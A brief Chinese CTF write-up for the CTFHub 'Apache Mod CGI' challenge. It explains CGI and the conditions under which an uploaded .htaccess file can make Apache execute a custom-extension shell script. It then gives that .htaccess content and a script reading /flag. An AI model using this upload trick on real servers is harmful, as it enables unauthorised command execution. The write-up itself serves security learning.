Apache Mod CGI

知识储备:

参考文章:CTFHUB-Apache Mod CGI(PHP学习)

原理简述

早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。随着Web技术的发展,逐渐出现了动态技术,但是Web服务器并不能够直接运行动态脚本,为了解决Web服务器与外部应用程序(CGI程序)之间数据互通,于是出现了CGI(Common Gateway Interface)通用网关接口。简单理解,可以认为CGI是Web服务器和运行其上的应用程序进行“交流”的一种约定。

当遇到动态脚本请求时,Web服务器主进程就会Fork创建出一个新的进程来启动CGI程序,运行外部C程序或Perl、PHP脚本等,也就是将动态脚本交给CGI程序来处理。这样,每次用户请求动态脚本,Web服务器都要重新Fork创建一个新进程去启动CGI程序,由CGI程序来处理动态脚本,处理完成后进程随之关闭,其效率是非常低下的。

而对于Mod CGI,Web服务器可以内置Perl解释器或PHP解释器。也就是说将这些解释器做成模块的方式,Web服务器会在启动的时候就启动这些解释器。当有新的动态请求进来时,Web服务器就是==自己解析这些动态脚本==,省得重新Fork一个进程,效率提高了。

使用条件:

  • Linux 操作系统 Apache + PHP (apache 使用 apache_mod_php) Apache 开启了cgirewrite
  • Web 目录给了AllowOverride权限
  • 当前目录可写

AllowOverride

在 AllowOverride 设置为 None 时, .htaccess 文件将被完全忽略。当此指令设置为 All 时,所有具有 “.htaccess” 作用域的指令都允许出现在 .htaccess 文件中。

实战:ctfhub

先上传一个.htaccess文件让系统把我们上传的ant文件当作CGI文件:

Options +ExecCGI
AddHandler cgi-script .ant

然后上传一个.ant文件:

#!/bin/sh
echo&&tac /flag;

这里有个疑问:必须使用 && 连接符后才能正确返回,否则网页报错。